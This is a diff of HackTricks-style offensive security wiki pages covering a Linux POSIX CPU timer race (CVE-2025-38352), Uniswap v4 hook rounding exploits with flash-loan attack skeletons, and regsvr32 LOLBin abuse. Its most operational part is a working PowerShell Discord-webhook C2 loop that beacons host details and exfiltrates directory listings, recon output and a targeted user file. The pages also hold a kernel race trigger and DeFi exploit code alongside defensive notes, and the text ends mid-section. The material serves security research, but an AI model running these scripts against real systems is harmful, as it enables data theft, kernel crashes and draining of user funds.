With these primitives, the exploit provides controlled **32-bit reads** and **64-bit writes** to kernel memory. Further jailbreak steps could involve more stable read/write primitives, which may require bypassing additional protections (e.g., PPL on newer arm64e devices).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,213 @@
# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
{{#include ../../../banners/hacktricks-training.md}}
This page documents a TOCTOU race condition in Linux/Android POSIX CPU timers that can corrupt timer state and crash the kernel, and under some circumstances be steered toward privilege escalation.
- Affected component: kernel/time/posix-cpu-timers.c
- Primitive: expiry vs deletion race under task exit
- Config sensitive: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
Quick internals recap (relevant for exploitation)
- Three CPU clocks drive accounting for timers via cpu_clock_sample():
- CPUCLOCK_PROF: utime + stime
- CPUCLOCK_VIRT: utime only
- CPUCLOCK_SCHED: task_sched_runtime()
- Timer creation wires a timer to a task/pid and initializes the timerqueue nodes:
```c
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
rcu_read_lock();
pid = pid_for_clock(new_timer->it_clock, false);
if (!pid) { rcu_read_unlock(); return -EINVAL; }
new_timer->kclock = &clock_posix_cpu;
timerqueue_init(&new_timer->it.cpu.node);
new_timer->it.cpu.pid = get_pid(pid);
rcu_read_unlock();
return 0;
}
```
- Arming inserts into a per-base timerqueue and may update the next-expiry cache:
```c
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
struct cpu_timer *ctmr = &timer->it.cpu;
u64 newexp = cpu_timer_getexpires(ctmr);
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}
```
- Fast path avoids expensive processing unless cached expiries indicate possible firing:
```c
static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
if (!expiry_cache_is_inactive(pct)) {
u64 samples[CPUCLOCK_MAX];
task_sample_cputime(tsk, samples);
if (task_cputimers_expired(samples, pct))
return true;
}
return false;
}
```
- Expiration collects expired timers, marks them firing, moves them off the queue; actual delivery is deferred:
```c
#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
struct list_head *firing, u64 now) {
struct timerqueue_node *next; int i = 0;
while ((next = timerqueue_getnext(head))) {
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
u64 expires = cpu_timer_getexpires(ctmr);
if (++i == MAX_COLLECTED || now < expires) return expires;
ctmr->firing = 1; // critical state
rcu_assign_pointer(ctmr->handling, current);
cpu_timer_dequeue(ctmr);
list_add_tail(&ctmr->elist, firing);
}
return U64_MAX;
}
```
Two expiry-processing modes
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: expiry is deferred via task_work on the target task
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: expiry handled directly in IRQ context
```c
void run_posix_cpu_timers(void) {
struct task_struct *tsk = current;
__run_posix_cpu_timers(tsk);
}
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
tsk->posix_cputimers_work.scheduled = true;
task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
}
#else
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
lockdep_posixtimer_enter();
handle_posix_cpu_timers(tsk); // IRQ-context path
lockdep_posixtimer_exit();
}
#endif
```
In the IRQ-context path, the firing list is processed outside sighand
```c
static void handle_posix_cpu_timers(struct task_struct *tsk) {
struct k_itimer *timer, *next; unsigned long flags, start;
LIST_HEAD(firing);
if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit
do {
start = READ_ONCE(jiffies); barrier();
check_thread_timers(tsk, &firing);
check_process_timers(tsk, &firing);
} while (!posix_cpu_timers_enable_work(tsk, start));
unlock_task_sighand(tsk, &flags); // race window opens here
list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
int cpu_firing;
spin_lock(&timer->it_lock);
list_del_init(&timer->it.cpu.elist);
cpu_firing = timer->it.cpu.firing; // read then reset
timer->it.cpu.firing = 0;
if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
rcu_assign_pointer(timer->it.cpu.handling, NULL);
spin_unlock(&timer->it_lock);
}
}
```
Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit
Preconditions
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
- The target task is exiting but not fully reaped
- Another thread concurrently calls posix_cpu_timer_del() for the same timer
Sequence
1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task.
2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list.
3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock.
4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del().
5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB.
Why TASK_WORK mode is safe by design
- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur.
- Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent.
Fix (Android common kernel) and rationale
- Add an early return if current task is exiting, gating all processing:
```c
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;
```
- This prevents entering handle_posix_cpu_timers() for exiting tasks, eliminating the window where posix_cpu_timer_del() could miss it.cpu.firing and race with expiry processing.
Impact
- Kernel memory corruption of timer structures during concurrent expiry/deletion can yield immediate crashes (DoS) and is a strong primitive toward privilege escalation due to arbitrary kernel-state manipulation opportunities.
Triggering the bug (safe, reproducible conditions)
Build/config
- Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix.
Runtime strategy
- Target a thread that is about to exit and attach a CPU timer to it (per-thread or process-wide clock):
- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
- Arm with a very short initial expiration and small interval to maximize IRQ-path entries:
```c
static timer_t t;
static void setup_cpu_timer(void) {
struct sigevent sev = {0};
sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race
sev.sigev_signo = SIGUSR1;
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
struct itimerspec its = {0};
its.it_value.tv_nsec = 1; // fire ASAP
its.it_interval.tv_nsec = 1; // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}
```
- From a sibling thread, concurrently delete the same timer while the target thread exits:
```c
void *deleter(void *arg) {
for (;;) (void)timer_delete(t); // hammer delete in a loop
}
```
- Race amplifiers: high scheduler tick rate, CPU load, repeated thread exit/re-create cycles. The crash typically manifests when posix_cpu_timer_del() skips noticing firing due to failing task lookup/locking right after unlock_task_sighand().
Detection and hardening
- Mitigation: apply the exit_state guard; prefer enabling CONFIG_POSIX_CPU_TIMERS_TASK_WORK when feasible.
- Observability: add tracepoints/WARN_ONCE around unlock_task_sighand()/posix_cpu_timer_del(); alert when it.cpu.firing==1 is observed together with failed cpu_timer_task_rcu()/lock_task_sighand(); watch for timerqueue inconsistencies around task exit.
Audit hotspots (for reviewers)
- update_process_times() → run_posix_cpu_timers() (IRQ)
- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
- collect_timerqueue(): sets ctmr->firing and moves nodes
- handle_posix_cpu_timers(): drops sighand before firing loop
- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap
Notes for exploitation research
- The disclosed behavior is a reliable kernel crash primitive; turning it into privilege escalation typically needs an additional controllable overlap (object lifetime or write-what-where influence) beyond the scope of this summary. Treat any PoC as potentially destabilizing and run only in emulators/VMs.
## References
- [Race Against Time in the Kernels Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
- [Android security bulletin September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -185,6 +185,14 @@ These practices and mechanisms are foundational for anyone looking to engage wit
- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
## DeFi/AMM Exploitation
If you are researching practical exploitation of DEXes and AMMs (Uniswap v4 hooks, rounding/precision abuse, flashloan amplified thresholdcrossing swaps), check:
{{#ref}}
defi-amm-hook-precision.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,162 @@
# DeFi/AMM Exploitation: Uniswap v4 Hook Precision/Rounding Abuse
{{#include ../../banners/hacktricks-training.md}}
This page documents a class of DeFi/AMM exploitation techniques against Uniswap v4style DEXes that extend core math with custom hooks. A recent incident in Bunni V2 leveraged a rounding/precision flaw in a Liquidity Distribution Function (LDF) executed on each swap, enabling the attacker to accrue positive credits and drain liquidity.
Key idea: if a hook implements additional accounting that depends on fixedpoint math, tick rounding, and threshold logic, an attacker can craft exactinput swaps that cross specific thresholds so that rounding discrepancies accumulate in their favor. Repeating the pattern and then withdrawing the inflated balance realizes profit, often financed with a flash loan.
## Background: Uniswap v4 hooks and swap flow
- Hooks are contracts that the PoolManager calls at specific lifecycle points (e.g., beforeSwap/afterSwap, beforeAddLiquidity/afterAddLiquidity, beforeRemoveLiquidity/afterRemoveLiquidity).
- Pools are initialized with a PoolKey including hooks address. If nonzero, PoolManager performs callbacks on every relevant operation.
- Core math uses fixedpoint formats such as Q64.96 for sqrtPriceX96 and tick arithmetic with 1.0001^tick. Any custom math layered on top must carefully match rounding semantics to avoid invariant drift.
- Swaps can be exactInput or exactOutput. In v3/v4, price moves along ticks; crossing a tick boundary may activate/deactivate range liquidity. Hooks may implement extra logic on threshold/tick crossings.
## Vulnerability archetype: thresholdcrossing precision/rounding drift
A typical vulnerable pattern in custom hooks:
1. The hook computes perswap liquidity or balance deltas using integer division, mulDiv, or fixedpoint conversions (e.g., token ↔ liquidity using sqrtPrice and tick ranges).
2. Threshold logic (e.g., rebalancing, stepwise redistribution, or perrange activation) is triggered when a swap size or price movement crosses an internal boundary.
3. Rounding is applied inconsistently (e.g., truncation toward zero, floor versus ceil) between the forward calculation and the settlement path. Small discrepancies dont cancel and instead credit the caller.
4. Exactinput swaps, precisely sized to straddle those boundaries, repeatedly harvest the positive rounding remainder. The attacker later withdraws the accumulated credit.
Attack preconditions
- A pool using a custom v4 hook that performs additional math on each swap (e.g., an LDF/rebalancer).
- At least one execution path where rounding benefits the swap initiator across threshold crossings.
- Ability to repeat many swaps atomically (flash loans are ideal to supply temporary float and amortize gas).
## Practical attack methodology
1) Identify candidate pools with hooks
- Enumerate v4 pools and check PoolKey.hooks != address(0).
- Inspect hook bytecode/ABI for callbacks: beforeSwap/afterSwap and any custom rebalancing methods.
- Look for math that: divides by liquidity, converts between token amounts and liquidity, or aggregates BalanceDelta with rounding.
2) Model the hooks math and thresholds
- Recreate the hooks liquidity/redistribution formula: inputs typically include sqrtPriceX96, tickLower/Upper, currentTick, fee tier, and net liquidity.
- Map threshold/step functions: ticks, bucket boundaries, or LDF breakpoints. Determine which side of each boundary the delta is rounded on.
- Identify where conversions cast between uint256/int256, use SafeCast, or rely on mulDiv with implicit floor.
3) Calibrate exactinput swaps to cross boundaries
- Use Foundry/Hardhat simulations to compute the minimal Δin needed to move price just across a boundary and trigger the hooks branch.
- Verify that afterSwap settlement credits the caller more than the cost, leaving a positive BalanceDelta or credit in the hooks accounting.
- Repeat swaps to accumulate credit; then call the hooks withdrawal/settlement path.
Example Foundrystyle test harness (pseudocode)
```solidity
function test_precision_rounding_abuse() public {
// 1) Arrange: set up pool with hook
PoolKey memory key = PoolKey({
currency0: USDC,
currency1: USDT,
fee: 500, // 0.05%
tickSpacing: 10,
hooks: address(bunniHook)
});
pm.initialize(key, initialSqrtPriceX96);
// 2) Determine a boundarycrossing exactInput
uint256 exactIn = calibrateToCrossThreshold(key, targetTickBoundary);
// 3) Loop swaps to accrue rounding credit
for (uint i; i < N; ++i) {
pm.swap(
key,
IPoolManager.SwapParams({
zeroForOne: true,
amountSpecified: int256(exactIn), // exactInput
sqrtPriceLimitX96: 0 // allow tick crossing
}),
""
);
}
// 4) Realize inflated credit via hookexposed withdrawal
bunniHook.withdrawCredits(msg.sender);
}
```
Calibrating the exactInput
- Compute ΔsqrtP for a tick step: sqrtP_next = sqrtP_current × 1.0001^(Δtick).
- Approximate Δin using v3/v4 formulas: Δx ≈ L × (ΔsqrtP / (sqrtP_next × sqrtP_current)). Ensure rounding direction matches core math.
- Adjust Δin by ±1 wei around the boundary to find the branch where the hook rounds in your favor.
4) Amplify with flash loans
- Borrow a large notional (e.g., 3M USDT or 2000 WETH) to run many iterations atomically.
- Execute the calibrated swap loop, then withdraw and repay within the flash loan callback.
Aave V3 flash loan skeleton
```solidity
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external returns (bool) {
// run thresholdcrossing swap loop here
for (uint i; i < N; ++i) {
_exactInBoundaryCrossingSwap();
}
// realize credits / withdraw inflated balances
bunniHook.withdrawCredits(address(this));
// repay
for (uint j; j < assets.length; ++j) {
IERC20(assets[j]).approve(address(POOL), amounts[j] + premiums[j]);
}
return true;
}
```
5) Exit and crosschain replication
- If hooks are deployed on multiple chains, repeat the same calibration per chain.
- Bridge proceeds back to the target chain and optionally cycle via lending protocols to obfuscate flows.
## Common root causes in hook math
- Mixed rounding semantics: mulDiv floors while later paths effectively round up; or conversions between token/liquidity apply different rounding.
- Tick alignment errors: using unrounded ticks in one path and tickspaced rounding in another.
- BalanceDelta sign/overflow issues when converting between int256 and uint256 during settlement.
- Precision loss in Q64.96 conversions (sqrtPriceX96) not mirrored in reverse mapping.
- Accumulation pathways: perswap remainders tracked as credits that are withdrawable by the caller instead of being burned/zerosum.
## Defensive guidance
- Differential testing: mirror the hooks math vs a reference implementation using highprecision rational arithmetic and assert equality or bounded error that is always adversarial (never favorable to caller).
- Invariant/property tests:
- Sum of deltas (tokens, liquidity) across swap paths and hook adjustments must conserve value modulo fees.
- No path should create positive net credit for the swap initiator over repeated exactInput iterations.
- Threshold/tick boundary tests around ±1 wei inputs for both exactInput/exactOutput.
- Rounding policy: centralize rounding helpers that always round against the user; eliminate inconsistent casts and implicit floors.
- Settlement sinks: accumulate unavoidable rounding residue to protocol treasury or burn it; never attribute to msg.sender.
- Ratelimits/guardrails: minimum swap sizes for rebalancing triggers; disable rebalances if deltas are subwei; sanitycheck deltas against expected ranges.
- Review hook callbacks holistically: beforeSwap/afterSwap and before/after liquidity changes should agree on tick alignment and delta rounding.
## Case study: Bunni V2 (20250902)
- Protocol: Bunni V2 (Uniswap v4 hook) with an LDF applied per swap to rebalance.
- Root cause: rounding/precision error in LDF liquidity accounting during thresholdcrossing swaps; perswap discrepancies accrued as positive credits for the caller.
- Ethereum leg: attacker took a ~3M USDT flash loan, performed calibrated exactinput swaps on USDC/USDT to build credits, withdrew inflated balances, repaid, and routed funds via Aave.
- UniChain leg: repeated the exploit with a 2000 WETH flash loan, siphoning ~1366 WETH and bridging to Ethereum.
- Impact: ~USD 8.3M drained across chains. No user interaction required; entirely onchain.
## Hunting checklist
- Does the pool use a nonzero hooks address? Which callbacks are enabled?
- Are there perswap redistributions/rebalances using custom math? Any tick/threshold logic?
- Where are divisions/mulDiv, Q64.96 conversions, or SafeCast used? Are rounding semantics globally consistent?
- Can you construct Δin that barely crosses a boundary and yields a favorable rounding branch? Test both directions and both exactInput and exactOutput.
- Does the hook track percaller credits or deltas that can be withdrawn later? Ensure residue is neutralized.
## References
- [Bunni V2 Exploit: $8.3M Drained via Liquidity Flaw (summary)](https://quillaudits.medium.com/bunni-v2-exploit-8-3m-drained-50acbdcd9e7b)
- [Bunni V2 Exploit: Full Hack Analysis](https://www.quillaudits.com/blog/hack-analysis/bunni-v2-exploit)
- [Uniswap v4 background (QuillAudits research)](https://www.quillaudits.com/research/uniswap-development)
- [Liquidity mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/liquidity-mechanics-in-uniswap-v4-core)
- [Swap mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/swap-mechanics-in-uniswap-v4-core)
- [Uniswap v4 Hooks and Security Considerations](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/uniswap-v4-hooks-and-security)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,191 +0,0 @@
# Blockchain and Crypto Currencies
{{#include ../banners/hacktricks-training.md}}
## Basic Concepts
- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries.
- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end.
- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts.
- **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership.
- **DeFi** stands for Decentralized Finance, offering financial services without central authorities.
- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively.
## Consensus Mechanisms
Consensus mechanisms ensure secure and agreed transaction validations on the blockchain:
- **Proof of Work (PoW)** relies on computational power for transaction verification.
- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW.
## Bitcoin Essentials
### Transactions
Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers.
#### Key Components:
- **Multisignature Transactions** require multiple signatures to authorize a transaction.
- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules).
### Lightning Network
Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain.
## Bitcoin Privacy Concerns
Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users.
## Acquiring Bitcoins Anonymously
Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy.
# Bitcoin Privacy Atacks
# Summary of Bitcoin Privacy Attacks
In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy.
## **Common Input Ownership Assumption**
It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**.
## **UTXO Change Address Detection**
A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy.
### Example
To mitigate this, mixing services or using multiple addresses can help obscure ownership.
## **Social Networks & Forums Exposure**
Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**.
## **Transaction Graph Analysis**
Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds.
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender.
### Example
```bash
2 btc --> 4 btc
3 btc 1 btc
```
If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.
## **Forced Address Reuse**
Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together.
### Correct Wallet Behavior
Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak.
## **Other Blockchain Analysis Techniques**
- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user.
- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change.
- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address.
- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable.
## **Traffic Analysis**
By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions.
## More
For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
# Anonymous Bitcoin Transactions
## Ways to Get Bitcoins Anonymously
- **Cash Transactions**: Acquiring bitcoin through cash.
- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin.
- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended.
## Mixing Services
By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos.
## CoinJoin
**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced.
Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners.
## PayJoin
A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities.
```plaintext
2 btc --> 3 btc
5 btc 4 btc
```
Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions.
**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy.
# Best Practices for Privacy in Cryptocurrencies
## **Wallet Synchronization Techniques**
To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out:
- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in.
- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found.
## **Utilizing Tor for Anonymity**
Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network.
## **Preventing Address Reuse**
To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design.
## **Strategies for Transaction Privacy**
- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks.
- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods.
- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy.
# **Monero: A Beacon of Anonymity**
Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy.
# **Ethereum: Gas and Transactions**
## **Understanding Gas**
Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded.
## **Executing Transactions**
Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data.
These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security.
## References
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
- [https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions](https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions)
- [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/)
- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
{{#include ../banners/hacktricks-training.md}}

View File

@ -112,6 +112,93 @@ if __name__ == "__main__":
###
```
## Webhooks (Discord/Slack/Teams) for C2 & Data Exfiltration
Webhooks are write-only HTTPS endpoints that accept JSON and optional file parts. Theyre commonly allowed to trusted SaaS domains and require no OAuth/API keys, making them useful for low-friction beaconing and exfiltration.
Key ideas:
- Endpoint: Discord uses https://discord.com/api/webhooks/<id>/<token>
- POST multipart/form-data with a part named payload_json containing {"content":"..."} and optional file part(s) named file.
- Operator loop pattern: periodic beacon -> directory recon -> targeted file exfil -> recon dump -> sleep. HTTP 204 NoContent/200 OK confirm delivery.
PowerShell PoC (Discord):
```powershell
# 1) Configure webhook and optional target file
$webhook = "https://discord.com/api/webhooks/YOUR_WEBHOOK_HERE"
$target = Join-Path $env:USERPROFILE "Documents\SENSITIVE_FILE.bin"
# 2) Reuse a single HttpClient
$client = [System.Net.Http.HttpClient]::new()
function Send-DiscordText {
param([string]$Text)
$payload = @{ content = $Text } | ConvertTo-Json -Compress
$jsonContent = New-Object System.Net.Http.StringContent($payload, [System.Text.Encoding]::UTF8, "application/json")
$mp = New-Object System.Net.Http.MultipartFormDataContent
$mp.Add($jsonContent, "payload_json")
$resp = $client.PostAsync($webhook, $mp).Result
Write-Host "[Discord] text -> $($resp.StatusCode)"
}
function Send-DiscordFile {
param([string]$Path, [string]$Name)
if (-not (Test-Path $Path)) { return }
$bytes = [System.IO.File]::ReadAllBytes($Path)
$fileContent = New-Object System.Net.Http.ByteArrayContent(,$bytes)
$fileContent.Headers.ContentType = [System.Net.Http.Headers.MediaTypeHeaderValue]::Parse("application/octet-stream")
$json = @{ content = ":package: file exfil: $Name" } | ConvertTo-Json -Compress
$jsonContent = New-Object System.Net.Http.StringContent($json, [System.Text.Encoding]::UTF8, "application/json")
$mp = New-Object System.Net.Http.MultipartFormDataContent
$mp.Add($jsonContent, "payload_json")
$mp.Add($fileContent, "file", $Name)
$resp = $client.PostAsync($webhook, $mp).Result
Write-Host "[Discord] file $Name -> $($resp.StatusCode)"
}
# 3) Beacon/recon/exfil loop
$ctr = 0
while ($true) {
$ctr++
# Beacon
$beacon = "━━━━━━━━━━━━━━━━━━`n:satellite: Beacon`n```User: $env:USERNAME`nHost: $env:COMPUTERNAME```"
Send-DiscordText -Text $beacon
# Every 2nd: quick folder listing
if ($ctr % 2 -eq 0) {
$dirs = @("Documents","Desktop","Downloads","Pictures")
$acc = foreach ($d in $dirs) {
$p = Join-Path $env:USERPROFILE $d
$items = Get-ChildItem -Path $p -ErrorAction SilentlyContinue | Select-Object -First 3 -ExpandProperty Name
if ($items) { "`n$d:`n - " + ($items -join "`n - ") }
}
Send-DiscordText -Text (":file_folder: **User Dirs**`n━━━━━━━━━━━━━━━━━━`n```" + ($acc -join "") + "```")
}
# Every 3rd: targeted exfil
if ($ctr % 3 -eq 0) { Send-DiscordFile -Path $target -Name ([IO.Path]::GetFileName($target)) }
# Every 4th: basic recon
if ($ctr % 4 -eq 0) {
$who = whoami
$ip = ipconfig | Out-String
$tmp = Join-Path $env:TEMP "recon.txt"
"whoami:: $who`r`nIPConfig::`r`n$ip" | Out-File -FilePath $tmp -Encoding utf8
Send-DiscordFile -Path $tmp -Name "recon.txt"
}
Start-Sleep -Seconds 20
}
```
Notes:
- Similar patterns apply to other collaboration platforms (Slack/Teams) using their incoming webhooks; adjust URL and JSON schema accordingly.
- For DFIR of Discord Desktop cache artifacts and webhook/API recovery, see:
{{#ref}}
../generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md
{{#endref}}
## FTP
### FTP server (python)
@ -364,7 +451,10 @@ Then copy-paste the text into the windows-shell and a file called nc.exe will be
- [https://github.com/Stratiz/DNS-Exfil](https://github.com/Stratiz/DNS-Exfil)
## References
- [Discord as a C2 and the cached evidence left behind](https://www.pentestpartners.com/security-blog/discord-as-a-c2-and-the-cached-evidence-left-behind/)
- [Discord Webhooks Execute Webhook](https://discord.com/developers/docs/resources/webhook#execute-webhook)
- [Discord Forensic Suite (cache parser)](https://github.com/jwdfir/discord_cache_parser)
{{#include ../banners/hacktricks-training.md}}

View File

@ -267,7 +267,27 @@ regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
**Detected by defender**
#### Regsvr32 -sct
#### Regsvr32 arbitrary DLL export with /i argument (gatekeeping & persistence)
Besides loading remote scriptlets (`scrobj.dll`), `regsvr32.exe` will load a local DLL and invoke its `DllRegisterServer`/`DllUnregisterServer` exports. Custom loaders frequently abuse this to execute arbitrary code while blending with a signed LOLBin. Two tradecraft notes seen in the wild:
